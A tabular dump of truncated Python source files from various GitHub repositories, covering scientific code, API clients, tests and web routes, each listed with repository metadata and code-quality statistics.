hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5f73f1913dcb863b161cd9bda5866c3dd2fd393e | 4,528 | py | Python | nutch2/gui/MainWindow.py | AGMLab/python-nutch2 | 99ff1de481c26464bee89d92241d9b47d626eaa0 | [
"Apache-2.0"
] | 3 | 2015-06-30T21:31:47.000Z | 2019-12-31T02:39:46.000Z | nutch2/gui/MainWindow.py | AGMLab/python-nutch2 | 99ff1de481c26464bee89d92241d9b47d626eaa0 | [
"Apache-2.0"
] | null | null | null | nutch2/gui/MainWindow.py | AGMLab/python-nutch2 | 99ff1de481c26464bee89d92241d9b47d626eaa0 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Copyright 2013, Ahmet Emre Aladağ, AGMLAB
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless requi... | 32.57554 | 87 | 0.668949 | 559 | 4,528 | 5.236136 | 0.363148 | 0.026648 | 0.037581 | 0.021865 | 0.038948 | 0.023915 | 0.023915 | 0.023915 | 0 | 0 | 0 | 0.006566 | 0.226369 | 4,528 | 139 | 88 | 32.57554 | 0.829004 | 0.024072 | 0 | 0 | 0 | 0 | 0.05535 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.052632 | null | null | 0.026316 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5f7442ef97fde7fb4185bc8d40641e0e851de9dc | 1,538 | py | Python | userlib/analysislib/paco_analysis/fit_table.py | specialforcea/labscript_suite | a4ad5255207cced671990fff94647b1625aa0049 | [
"BSD-2-Clause"
] | null | null | null | userlib/analysislib/paco_analysis/fit_table.py | specialforcea/labscript_suite | a4ad5255207cced671990fff94647b1625aa0049 | [
"BSD-2-Clause"
] | null | null | null | userlib/analysislib/paco_analysis/fit_table.py | specialforcea/labscript_suite | a4ad5255207cced671990fff94647b1625aa0049 | [
"BSD-2-Clause"
] | null | null | null | # Gets parameters from a fit, puts them in a dataframe, prints them pretty.
from StringIO import StringIO
import pandas as pd
import numpy as np
import prettytable
def get_params(fit_params, u_param=None):
afit_params = np.asarray(fit_params)
rfit_params = np.around(afit_params, decimals=6)
ffit_params... | 32.041667 | 75 | 0.611183 | 202 | 1,538 | 4.465347 | 0.30198 | 0.070953 | 0.033259 | 0.062084 | 0.574279 | 0.574279 | 0.574279 | 0.574279 | 0.574279 | 0.574279 | 0 | 0.010166 | 0.296489 | 1,538 | 47 | 76 | 32.723404 | 0.823475 | 0.096229 | 0 | 0.6 | 0 | 0 | 0.042569 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.1 | null | null | 0.05 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5f7f0de74bfae7c063c14135dbe9a43d4016270f | 2,311 | py | Python | abito/lib/bootstrap.py | avito-tech/abito | 9071eecd9526ee5c268cfacd7ac9a49b6ee185e5 | [
"MIT"
] | 11 | 2019-05-30T09:41:18.000Z | 2022-01-31T17:44:16.000Z | abito/lib/bootstrap.py | lnkov/abito | 9071eecd9526ee5c268cfacd7ac9a49b6ee185e5 | [
"MIT"
] | null | null | null | abito/lib/bootstrap.py | lnkov/abito | 9071eecd9526ee5c268cfacd7ac9a49b6ee185e5 | [
"MIT"
] | 1 | 2021-11-09T06:10:03.000Z | 2021-11-09T06:10:03.000Z | import numpy as np
import multiprocessing
from abito.lib.stats.weighted import _quantile_sorted, _sort_obs
__all__ = ['generate_bootstrap_estimates']
def _do_bootstrap_plain(obs, stat_func, stat_args, n_iters, seed):
np.random.seed(seed)
nobs = obs.shape[0]
result = []
for i in range(n_iters):
... | 33.985294 | 115 | 0.65383 | 317 | 2,311 | 4.457413 | 0.233438 | 0.067941 | 0.059448 | 0.076433 | 0.330502 | 0.27247 | 0.27247 | 0.252654 | 0.186129 | 0.186129 | 0 | 0.007407 | 0.240588 | 2,311 | 67 | 116 | 34.492537 | 0.797721 | 0 | 0 | 0.188679 | 1 | 0 | 0.015578 | 0.012116 | 0 | 0 | 0 | 0 | 0 | 1 | 0.075472 | false | 0 | 0.056604 | 0 | 0.207547 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5f80decf66eb0e0b9d83672527bae55e07978cc4 | 19,058 | py | Python | tb_AMT/src/verhulst/cochlear_model.py | rodrigo-garcia-leon/MATLAB | 1a5e600bf9e494251f73b66e07f91cf8d881f45a | [
"MIT"
] | 14 | 2019-03-21T23:29:37.000Z | 2021-06-21T20:07:36.000Z | tb_AMT/src/verhulst/cochlear_model.py | rodrigo-garcia-leon/MATLAB | 1a5e600bf9e494251f73b66e07f91cf8d881f45a | [
"MIT"
] | 2 | 2020-07-18T22:00:41.000Z | 2021-02-24T15:12:54.000Z | tb_AMT/src/verhulst/cochlear_model.py | rodrigo-garcia-leon/MATLAB | 1a5e600bf9e494251f73b66e07f91cf8d881f45a | [
"MIT"
] | 2 | 2019-05-20T11:51:24.000Z | 2020-06-19T01:20:58.000Z | # -*- coding: utf-8 -*-
import numpy as np
import time
from scipy.integrate import ode
from scipy import signal
import ctypes
import os
DOUBLE = ctypes.c_double
INT=ctypes.c_int
PINT=ctypes.POINTER(ctypes.c_int)
PLONG=ctypes.POINTER(ctypes.c_long)
PDOUBLE = ctypes.POINTER(ctypes.c_double)
class tridiag_matrix(cty... | 40.984946 | 217 | 0.624042 | 2,785 | 19,058 | 4.177379 | 0.177738 | 0.014612 | 0.020801 | 0.028365 | 0.223655 | 0.14578 | 0.073749 | 0.049682 | 0.046931 | 0.032147 | 0 | 0.044792 | 0.22568 | 19,058 | 464 | 218 | 41.073276 | 0.743579 | 0.092455 | 0 | 0.107769 | 0 | 0 | 0.005293 | 0 | 0 | 0 | 0 | 0.002155 | 0 | 0 | null | null | 0.012531 | 0.015038 | null | null | 0.002506 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5f86d06c0b1db87597109329cc6759b62fddc778 | 2,085 | py | Python | src/cryptoadvance/specter/gunicorn.py | MatthewWesley/specter-desktop | 03535fc6d4b5c2cb4fc7bbca8c5205d5ad38740f | [
"MIT"
] | null | null | null | src/cryptoadvance/specter/gunicorn.py | MatthewWesley/specter-desktop | 03535fc6d4b5c2cb4fc7bbca8c5205d5ad38740f | [
"MIT"
] | null | null | null | src/cryptoadvance/specter/gunicorn.py | MatthewWesley/specter-desktop | 03535fc6d4b5c2cb4fc7bbca8c5205d5ad38740f | [
"MIT"
] | null | null | null | import multiprocessing
from cryptoadvance.specter.server import init_app, create_app, create_and_init
from gunicorn.app.wsgiapp import WSGIApplication
class SpecterGunicornApp(WSGIApplication):
def __init__(
self, config="cryptoadvance.specter.config.ProductionConfig", options=None
):
"""
... | 63.181818 | 124 | 0.623501 | 245 | 2,085 | 5.187755 | 0.559184 | 0.028324 | 0.035405 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.204796 | 2,085 | 32 | 125 | 65.15625 | 0.766586 | 0.71223 | 0 | 0 | 0 | 0 | 0.095339 | 0.095339 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.25 | 0.083333 | 0.583333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
5f96efc8679b9bbc5ad091c127c38e9c85845f46 | 1,414 | py | Python | Part2/xmlReader.py | andpol5/QueryParsingForInlp | 4e7ac5cac6e17717c4e74f9018aca0d4b845e82f | [
"MIT"
] | 1 | 2015-09-18T10:36:55.000Z | 2015-09-18T10:36:55.000Z | Part2/xmlReader.py | andpol5/QueryParsingForInlp | 4e7ac5cac6e17717c4e74f9018aca0d4b845e82f | [
"MIT"
] | null | null | null | Part2/xmlReader.py | andpol5/QueryParsingForInlp | 4e7ac5cac6e17717c4e74f9018aca0d4b845e82f | [
"MIT"
] | null | null | null | from xml.etree import ElementTree
import os
xmlInput = os.getcwd() + '/' + 'ParsedQueries.xml'
text_file = open('xmlWHATTYPES.txt', 'w')
qrys=[]
locats=[]
whats=[]
whattypes=[]
geos=[]
wheres=[]
with open(xmlInput, 'rt') as f:
tree = ElementTree.parse(f)
root = tree.getroot()
for qry in root.findall('QUERY'):
... | 18.128205 | 50 | 0.596888 | 196 | 1,414 | 4.295918 | 0.270408 | 0.099762 | 0.057007 | 0.085511 | 0.301663 | 0.279097 | 0 | 0 | 0 | 0 | 0 | 0 | 0.256719 | 1,414 | 77 | 51 | 18.363636 | 0.801142 | 0 | 0 | 0.241379 | 0 | 0 | 0.095541 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.034483 | null | null | 0.224138 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5fa51220443ce343bbd86ea698462dbf17e9102e | 1,145 | py | Python | wi.py | ustudio-ml/UwU | b66c9b7b368444b0902b9be39f1feb190cee3ae0 | [
"MIT"
] | null | null | null | wi.py | ustudio-ml/UwU | b66c9b7b368444b0902b9be39f1feb190cee3ae0 | [
"MIT"
] | 1 | 2021-09-17T20:52:12.000Z | 2021-09-17T20:52:12.000Z | wi.py | ustudio-ml/UwU | b66c9b7b368444b0902b9be39f1feb190cee3ae0 | [
"MIT"
] | null | null | null | try:
import os
import sys
import requests
import optparse
import json
except ImportError:
print "Error bang/sis :("
try:
parser = optparse.OptionParser()
parser.add_option("-u", "--url", help="website url", dest="urlpro")
opt, args = parser.parse_args()
if opt.urlpro:
url = opt.urlpro
except... | 23.367347 | 69 | 0.569432 | 161 | 1,145 | 4.024845 | 0.391304 | 0.061728 | 0.069444 | 0.052469 | 0.061728 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007503 | 0.185153 | 1,145 | 49 | 70 | 23.367347 | 0.687031 | 0 | 0 | 0.222222 | 0 | 0 | 0.267161 | 0.020408 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.022222 | 0.133333 | null | null | 0.155556 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5fa585ff6e305b6e9e97ac9ac02d6fd69f44eb66 | 864 | py | Python | data_analyze/data_generator.py | glstr/python_learning | 243908d6f358764386f2e58dfbfde10a406d803c | [
"Apache-2.0"
] | 2 | 2018-09-20T06:08:00.000Z | 2018-09-26T13:57:20.000Z | data_analyze/data_generator.py | glstr/python_learning | 243908d6f358764386f2e58dfbfde10a406d803c | [
"Apache-2.0"
] | null | null | null | data_analyze/data_generator.py | glstr/python_learning | 243908d6f358764386f2e58dfbfde10a406d803c | [
"Apache-2.0"
] | 1 | 2019-03-25T05:53:32.000Z | 2019-03-25T05:53:32.000Z | #!/usr/bin/python
# coding=utf-8
import sys
import numpy as np
class DataGenerator:
def __init__(self, path):
self.path = path
def set_para(self, height, width):
self.height = height
self.width = width
def make(self):
data_buffer = np.random.uniform(-1, 1, (height, widt... | 21.6 | 63 | 0.606481 | 118 | 864 | 4.237288 | 0.423729 | 0.07 | 0.048 | 0.048 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012658 | 0.268519 | 864 | 39 | 64 | 22.153846 | 0.778481 | 0.033565 | 0 | 0 | 0 | 0 | 0.085234 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.071429 | null | null | 0.107143 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5fad3c2db7ec72870ed7cbf6f3e3304bf4bee63a | 45,465 | py | Python | test.py | Truth0906/PTTLibrary | f4b6f1f6fe766238da9e1ecc3056a3dc3842d7cb | [
"MIT"
] | 260 | 2018-01-31T15:34:44.000Z | 2020-01-01T15:20:01.000Z | test.py | PttCodingMan/PTTLibrary | f4b6f1f6fe766238da9e1ecc3056a3dc3842d7cb | [
"MIT"
] | 38 | 2018-01-31T10:50:07.000Z | 2019-10-28T09:40:42.000Z | test.py | Truth0906/PTTLibrary | f4b6f1f6fe766238da9e1ecc3056a3dc3842d7cb | [
"MIT"
] | 55 | 2018-01-27T17:56:54.000Z | 2019-11-26T07:35:21.000Z | import sys
import os
import time
import json
import random
import traceback
import threading
from PyPtt import PTT
def get_password(password_file):
try:
with open(password_file) as AccountFile:
account = json.load(AccountFile)
ptt_id = account['id']
password = account... | 29.200385 | 292 | 0.543253 | 5,202 | 45,465 | 4.479431 | 0.130911 | 0.036048 | 0.05712 | 0.030255 | 0.522745 | 0.490087 | 0.45451 | 0.40018 | 0.331517 | 0.292807 | 0 | 0.01146 | 0.337864 | 45,465 | 1,556 | 293 | 29.219152 | 0.762258 | 0.162235 | 0 | 0.421811 | 0 | 0.001029 | 0.124645 | 0.012979 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.023663 | 0.009259 | null | null | 0.167695 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5fb1725b3000e3a17249845ca64281c290bd7f50 | 1,244 | py | Python | src/huaytools/pytorch/data/__test.py | imhuay/studies-gitbook | 69a31c20c91d131d0fafce0622f4035b9b95e93a | [
"MIT"
] | 100 | 2021-10-13T01:22:27.000Z | 2022-03-31T09:52:49.000Z | src/huaytools/pytorch/data/__test.py | imhuay/studies-gitbook | 69a31c20c91d131d0fafce0622f4035b9b95e93a | [
"MIT"
] | null | null | null | src/huaytools/pytorch/data/__test.py | imhuay/studies-gitbook | 69a31c20c91d131d0fafce0622f4035b9b95e93a | [
"MIT"
] | 27 | 2021-11-01T01:05:09.000Z | 2022-03-31T03:32:01.000Z | #!/usr/bin/env python
# -*- coding:utf-8 -*-
"""
Time: 2021-11-22 11:43 上午
Author: huayang
Subject:
"""
import os # noqa
import doctest # noqa
# from typing import *
# from itertools import islice
# from collections import defaultdict
# from tqdm import tqdm
import torch
from torch.utils.data import DataLoader
... | 23.037037 | 89 | 0.684887 | 175 | 1,244 | 4.628571 | 0.497143 | 0.024691 | 0.049383 | 0.034568 | 0.069136 | 0.069136 | 0.069136 | 0.069136 | 0.069136 | 0 | 0 | 0.022616 | 0.182476 | 1,244 | 53 | 90 | 23.471698 | 0.773845 | 0.192122 | 0 | 0 | 0 | 0 | 0.06405 | 0 | 0 | 0 | 0 | 0 | 0.045455 | 1 | 0.090909 | false | 0 | 0.318182 | 0 | 0.409091 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
5fb1d2ffcb8987489472c110417b9ec694460009 | 366 | py | Python | python/8kyu/parse_float.py | Sigmanificient/codewars | b34df4bf55460d312b7ddf121b46a707b549387a | [
"MIT"
] | 3 | 2021-06-08T01:57:13.000Z | 2021-06-26T10:52:47.000Z | python/8kyu/parse_float.py | Sigmanificient/codewars | b34df4bf55460d312b7ddf121b46a707b549387a | [
"MIT"
] | null | null | null | python/8kyu/parse_float.py | Sigmanificient/codewars | b34df4bf55460d312b7ddf121b46a707b549387a | [
"MIT"
] | 2 | 2021-06-10T21:20:13.000Z | 2021-06-30T10:13:26.000Z | """Kata url: https://www.codewars.com/kata/57a386117cb1f31890000039."""
from typing import Optional
def parse_float(string: str) -> Optional[float]:
if isinstance(string, list):
return
if '.' not in string:
return
int_part, dec_part = string.split('.')
if int_part.isdigit() and dec... | 21.529412 | 71 | 0.655738 | 46 | 366 | 5.108696 | 0.608696 | 0.093617 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.069444 | 0.213115 | 366 | 16 | 72 | 22.875 | 0.746528 | 0.177596 | 0 | 0.222222 | 0 | 0 | 0.00678 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.111111 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
5fb552ee3e78675d5f70074e0d3e752d678ec4de | 551 | py | Python | codeEval/hard/minesweeper.py | gauravsingh58/algo | 397859a53429e7a585e5f6964ad24146c6261326 | [
"WTFPL"
] | 1 | 2020-09-30T19:53:08.000Z | 2020-09-30T19:53:08.000Z | codeEval/hard/minesweeper.py | gauravsingh58/algo | 397859a53429e7a585e5f6964ad24146c6261326 | [
"WTFPL"
] | null | null | null | codeEval/hard/minesweeper.py | gauravsingh58/algo | 397859a53429e7a585e5f6964ad24146c6261326 | [
"WTFPL"
] | 1 | 2020-10-15T09:10:57.000Z | 2020-10-15T09:10:57.000Z | import sys
def minesweep(edges, f):
(m, n), res = edges, []
for i in xrange(m):
for j in xrange(n):
if f[i*n+j] == '.':
r1 = xrange(max(i-1, 0), min(i+1, m-1)+1)
r2 = xrange(max(j-1, 0), min(j+1, n-1)+1)
res.append([f[a*n+b] for a in r1 for b in r2].count('*'))
else:
... | 29 | 65 | 0.54265 | 100 | 551 | 2.96 | 0.42 | 0.091216 | 0.033784 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035461 | 0.232305 | 551 | 19 | 66 | 29 | 0.664303 | 0 | 0 | 0 | 0 | 0 | 0.01087 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.058824 | null | null | 0.058824 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5fbc965cccb95af0ae213c7a8635b87b6cccc23b | 4,147 | py | Python | hefengapi.py | neptune46/PiWeather | 50fd4a8b3f0c993bd5778b7a1e22301cba7bd93c | [
"MIT"
] | null | null | null | hefengapi.py | neptune46/PiWeather | 50fd4a8b3f0c993bd5778b7a1e22301cba7bd93c | [
"MIT"
] | null | null | null | hefengapi.py | neptune46/PiWeather | 50fd4a8b3f0c993bd5778b7a1e22301cba7bd93c | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# encoding: utf-8
import urllib2
import json
CODE_SUNNY = 0
CODE_CLOUDY = 1
CODE_PARTLY_CLOUDY = 2
CODE_OVERCAST = 3
CODE_SHOWER_RAIN = 4
CODE_LIGHT_RAIN = 5
CODE_MODERATE_RAIN = 6
CODE_HEAVY_RAIN = 7
codeMap = {
"100": CODE_SUNNY, #晴 Sunny/Clear 100.png
"101": CODE_CLOUDY, #多云 Cloudy 1... | 34.848739 | 135 | 0.630335 | 607 | 4,147 | 4.143328 | 0.344316 | 0.047714 | 0.046521 | 0.085885 | 0.141948 | 0.141948 | 0.128032 | 0.048907 | 0 | 0 | 0 | 0.119692 | 0.216301 | 4,147 | 118 | 136 | 35.144068 | 0.654154 | 0.272968 | 0 | 0.019417 | 0 | 0.009709 | 0.18102 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.019417 | null | null | 0.009709 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5fbe6ada024c4900eace61908d4ca048fe9f60f0 | 22,982 | py | Python | biomine/webapi/ensembl/ensemblapi.py | AdamDS/urlAPIs | 90ca3d4a1320651cffe7d00c97ecf5d307bbeba9 | [
"MIT"
] | 1 | 2019-08-07T03:56:59.000Z | 2019-08-07T03:56:59.000Z | biomine/webapi/ensembl/ensemblapi.py | AdamDS/urlAPIs | 90ca3d4a1320651cffe7d00c97ecf5d307bbeba9 | [
"MIT"
] | 4 | 2017-01-19T00:04:50.000Z | 2019-06-21T09:20:15.000Z | biomine/webapi/ensembl/ensemblapi.py | AdamDS/urlAPIs | 90ca3d4a1320651cffe7d00c97ecf5d307bbeba9 | [
"MIT"
] | 8 | 2016-06-08T22:52:46.000Z | 2019-09-13T22:07:25.000Z | #!/usr/bin/python
# author: Adam D Scott
# first created: 2015*11*23
# citation: McLaren et. al. (doi:10.1093/bioinformatics/btq330)
# http://europepmc.org/search/?query=DOI:10.1093/bioinformatics/btq330
#####
# Operation Function Works With
#####
### Inherited
# endpoint "http://rest.ensembl.org"
# subset "/ve... | 37.187702 | 175 | 0.665608 | 2,484 | 22,982 | 6.135668 | 0.177939 | 0.021258 | 0.022439 | 0.021324 | 0.236467 | 0.199593 | 0.141198 | 0.113903 | 0.080178 | 0.054983 | 0 | 0.006348 | 0.198068 | 22,982 | 617 | 176 | 37.247974 | 0.820619 | 0.145418 | 0 | 0.233792 | 0 | 0.001965 | 0.124962 | 0.030767 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.013752 | null | null | 0.039293 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
5fbe783fbd70f5d358aa404269b454b13da5250f | 470 | py | Python | app/blueprints/api/routes.py | Cryptex-github/shrpy | 5c3e5fcf094aea833ef6c4082f94002a2469a2e9 | [
"MIT"
] | null | null | null | app/blueprints/api/routes.py | Cryptex-github/shrpy | 5c3e5fcf094aea833ef6c4082f94002a2469a2e9 | [
"MIT"
] | null | null | null | app/blueprints/api/routes.py | Cryptex-github/shrpy | 5c3e5fcf094aea833ef6c4082f94002a2469a2e9 | [
"MIT"
] | null | null | null | from quart import Blueprint
from app.helpers.utils import auth_required
from app.helpers.services import FileService
api = Blueprint('api', __name__)
@api.get('/sharex/upload')
async def upload_config():
return await FileService.config()
@api.post('/upload')
@auth_required
async def upload():
